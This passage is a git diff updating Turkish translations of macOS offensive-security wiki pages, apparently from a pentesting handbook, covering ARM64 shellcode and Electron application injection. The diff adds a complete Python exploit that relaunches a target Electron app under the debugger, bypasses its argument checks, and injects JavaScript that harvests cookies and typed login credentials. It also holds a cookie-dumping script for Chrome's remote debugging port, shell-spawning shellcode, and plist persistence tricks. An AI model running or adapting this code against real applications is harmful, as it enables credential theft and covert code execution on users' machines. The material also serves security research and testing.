saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** olup olmadığını gösterir. **`SEL`** talimatı, koşullu eylemleri gerçekleştirmek için bu GE bayraklarını kullanır. @@ -305,7 +305,7 @@ Alanlar bazı gruplara ayrılmıştır:
-- **`AIF`**: Belirli istisnalar **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir. +- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, harici donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir. ## macOS @@ -317,7 +317,7 @@ Alanlar bazı gruplara ayrılmıştır: `mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. -Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: +Bu (ve BSD) syscalls'ı çağırmanın nasıl olduğunu bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** decompile edebilir. +Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** de decompile edebilir. > [!TIP] -> Bazen **decompile** edilmiş **`libsystem_kernel.dylib`** kodunu kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz. +> Bazen **decompile** edilmiş kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz. ### machdep çağrıları @@ -350,7 +350,7 @@ Parametreler ([belgelerde daha fazla bilgi](https://developer.apple.com/document - x1: op -> Yöntemin seçici - x2... -> Çağrılan yöntemin geri kalan argümanları -Bu nedenle, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır): +Yani, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de kolayca neyin çağrıldığını bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,7 +369,7 @@ whoami ) ``` > [!TIP] -> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlamak, bu fonksiyon çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydetmek mümkündür. +> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlayarak, bu fonksiyonun çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydedilmesini sağlamak mümkündür. > > Ayrıca, **`OBJC_HELP=1`** ayarlayarak ve herhangi bir ikili dosyayı çağırarak, belirli Objc-C eylemleri gerçekleştiğinde **log** için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz. @@ -378,17 +378,17 @@ Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bu - İyimser önbellek araması yapın: - Başarılıysa, tamam - runtimeLock (okuma) edin -- Eğer (realize && !cls->realized) sınıfı gerçekleştirin -- Eğer (initialize && !cls->initialized) sınıfı başlatın +- Eğer (realize && !cls->realized) sınıfı gerçekleştir +- Eğer (initialize && !cls->initialized) sınıfı başlat - Sınıfın kendi önbelleğini deneyin: - Başarılıysa, tamam - Sınıf yöntem listesini deneyin: -- Bulunduysa, önbelleği doldurun ve tamam +- Bulunduysa, önbelleği doldur ve tamam - Üst sınıf önbelleğini deneyin: - Başarılıysa, tamam - Üst sınıf yöntem listesini deneyin: -- Bulunduysa, önbelleği doldurun ve tamam -- Eğer (resolver) yöntem çözücüsünü deneyin ve sınıf aramasından tekrar edin +- Bulunduysa, önbelleği doldur ve tamam +- Eğer (resolver) yöntem çözücüyü deneyin ve sınıf aramasından tekrar edin - Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin ### Shellcodes @@ -467,7 +467,7 @@ return 0; #### Shell -[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır. +[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alındı ve açıklandı. {{#tabs}} {{#tab name="adr ile"}} @@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="stack ile"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="linux için adr ile"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -537,9 +537,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### Cat ile oku +#### cat ile oku -Amaç, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bellekte bu, adreslerin bir yığını anlamına gelir). +Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bu bellek içinde adreslerin bir yığını anlamına gelir). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +565,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. +#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 8e0f352dc..b81789f8a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,15 +9,15 @@ Ve node'un belirtilen dosyanın dışında **başka kodlar çalıştırmak için ### Electron Füzeleri -Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electron birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Füzeleri**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'taki Electron uygulamalarının **rastgele kod yüklemesini** **önlemek için** kullanılanlardır: +Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electron birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Füzeleri**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'taki Electron uygulamalarının **rastgele kod yüklemesini önlemek için** kullanılanlardır: -- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller. -- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjeksiyonunu önler. -- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** **önler**. -- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'yı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile **birleştirildiğinde** **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir. +- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller. +- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjekte etmenin önüne geçilir. +- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** önler. +- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve en son **`default_app.asar`**. Sadece app.asar'ı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile birleştirildiğinde **doğrulanmamış kodun yüklenmesi imkansız** hale gelir. - **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirildiğinde, tarayıcı süreci V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır. -Kod enjeksiyonunu önlemeyecek başka ilginç bir fuse ise: +Kod enjeksiyonunu önlemeyecek başka ilginç bir füze: - **EnableCookieEncryption**: Etkinleştirildiğinde, disk üzerindeki çerez deposu OS düzeyinde kriptografi anahtarları kullanılarak şifrelenir. @@ -46,15 +46,15 @@ In macOS applications this is typically in `application.app/Contents/Frameworks/ grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin ardından, her bir sigortanın devre dışı mı yoksa etkin mi olduğunu gösteren ASCII'de "0" veya "1" sayısını görebilirsiniz. **Sigorta değerlerini değiştirmek için** hex kodunu (`0x30` `0` ve `0x31` `1`'dir) değiştirin. +Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizeden sonra, her bir sigortanın devre dışı mı yoksa etkin mi olduğunu gösteren ASCII'de "0" veya "1" sayısını görebilirsiniz. **Sigorta değerlerini değiştirmek için** hex kodunu (`0x30` `0` ve `0x31` `1`'dir) değiştirin.
-Eğer bu baytları değiştirilmiş olarak bir uygulamanın **`Electron Framework`** ikili dosyasını **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır. +Eğer bu baytları değiştirilmiş **`Electron Framework` ikili dosyasını** bir uygulamanın içine **overwrite** etmeye çalışırsanız, uygulama çalışmayacaktır. -## RCE, Electron Uygulamalarına Kod Ekleme +## RCE Electron Uygulamalarına Kod Ekleme -Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan, imzasının kontrol edilmeyeceği bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir. +Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir. > [!CAUTION] > Ancak, şu anda 2 sınırlama vardır: @@ -62,9 +62,9 @@ Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabili > - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir. > - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortalarını `etkin` olarak içerir. > -> Bu da bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir. +> Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir. -**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **zararlı** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak atlatmanın mümkün olduğunu unutmayın. +**`kTCCServiceSystemPolicyAppBundles`** gereksinimini aşmanın mümkün olduğunu unutmayın; uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'ı **`app.app/NotCon`** olarak yeniden adlandırarak, **kötü niyetli** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak yeniden adlandırarak ve çalıştırarak bunu yapabilirsiniz. Asar dosyasından kodu çıkarmak için: ```bash @@ -74,9 +74,9 @@ Ve değiştirdikten sonra tekrar paketleyin: ```bash npx asar pack app-decomp app-new.asar ``` -## RCE with `ELECTRON_RUN_AS_NODE` +## RCE with ELECTRON_RUN_AS_NODE -[**Belgeler**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)'e göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır. +According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır. ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord @@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Eğer **`RunAsNode`** sigortası devre dışı bırakılırsa, env var **`ELECTRON_RUN_AS_NODE`** göz ardı edilecek ve bu çalışmayacaktır. +> Eğer **`RunAsNode`** sigortası devre dışı bırakılırsa, env değişkeni **`ELECTRON_RUN_AS_NODE`** göz ardı edilecek ve bu çalışmayacaktır. ### Uygulama Plist'inden Enjeksiyon @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **devre dışı** bırakılmışsa **yoksayılacaktır**. +> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadıysa, bu da sigorta **`RunAsNode`** devre dışı bırakılmışsa **yoksayılacaktır**. > > Eğer **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, **hata** ile karşılaşacaksınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -147,19 +147,227 @@ Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sa ``` ## RCE ile inceleme -According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), eğer **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir debug portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\ +According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\ For example: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` -> [!CAUTION] -> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama **node parametrelerini** (örneğin `--inspect`) başlatıldığında **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa. -> -> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır). +In [**bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama, başsız bir chrome'un **rastgele dosyaları rastgele konumlara indirmesi** için kötüye kullanılıyor. -Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya şöyle basit bir script kullanabilirsiniz: +> [!TIP] +> Eğer bir uygulama, `--inspect` gibi env değişkenlerinin veya parametrelerin ayarlanıp ayarlanmadığını kontrol etmenin kendi özel yoluna sahipse, `--inspect-brk` argümanını kullanarak bunu çalışma zamanında **bypass** etmeyi deneyebilirsiniz; bu, uygulamanın başında **çalışmayı durduracak** ve bir bypass gerçekleştirecektir (örneğin, mevcut sürecin argümanlarını veya env değişkenlerini geçersiz kılmak). + +Aşağıdaki, uygulamayı `--inspect-brk` parametresi ile izleyip çalıştırarak, sahip olduğu özel korumayı (parametreleri `--inspect-brk`'yi kaldıracak şekilde geçersiz kılmak) aşmanın mümkün olduğu bir istismardı ve ardından uygulamadan çerezleri ve kimlik bilgilerini dökmek için bir JS yükü enjekte edildi: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` +> [!CAUTION] +> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa. +> +> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalabilirsiniz, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır). + +Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir script kullanabilirsiniz: ```python import websocket ws = websocket.WebSocket() @@ -167,11 +375,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -Bu [**blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama, başsız bir chrome'un **rastgele dosyaları rastgele konumlara indirmesi** için kötüye kullanılıyor. +### Injection from the App Plist -### Uygulama Plist'inden Enjeksiyon - -Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz: +Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz: ```xml ProgramArguments @@ -193,11 +399,13 @@ Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlama ## JS Dışı Kod Çalıştırma Önceki teknikler, **electron uygulamasının sürecinde JS kodu çalıştırmanıza** izin verecektir. Ancak, **çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını** ve **TCC izinlerini miras aldığını** unutmayın.\ -Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, sadece **süreçten başka bir ikili dosya çalıştırabilirsiniz**. +Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, **süreçten başka bir ikili dosya çalıştırabilirsiniz**. ## Otomatik Enjeksiyon -[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, **kurulu savunmasız electron uygulamalarını bulmak** ve bunlara kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır: +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + +Araç [**electroniz3r**](https://github.com/r3ggi/electroniz3r), **kurulu savunmasız electron uygulamalarını bulmak** ve bunlara kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır: Kendiniz derlemeniz gerekiyor ve bunu şu şekilde kullanabilirsiniz: ```bash @@ -235,7 +443,12 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## Referanslar +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki, Electron uygulamalarını arka kapı ile ele geçirmek için uygulamaların JavaScript dosyalarını Loki Komut ve Kontrol JavaScript dosyaları ile değiştirmek üzere tasarlandı. + + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 41132991e..c98412d80 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -10,12 +10,12 @@ Tanım, `.defs` 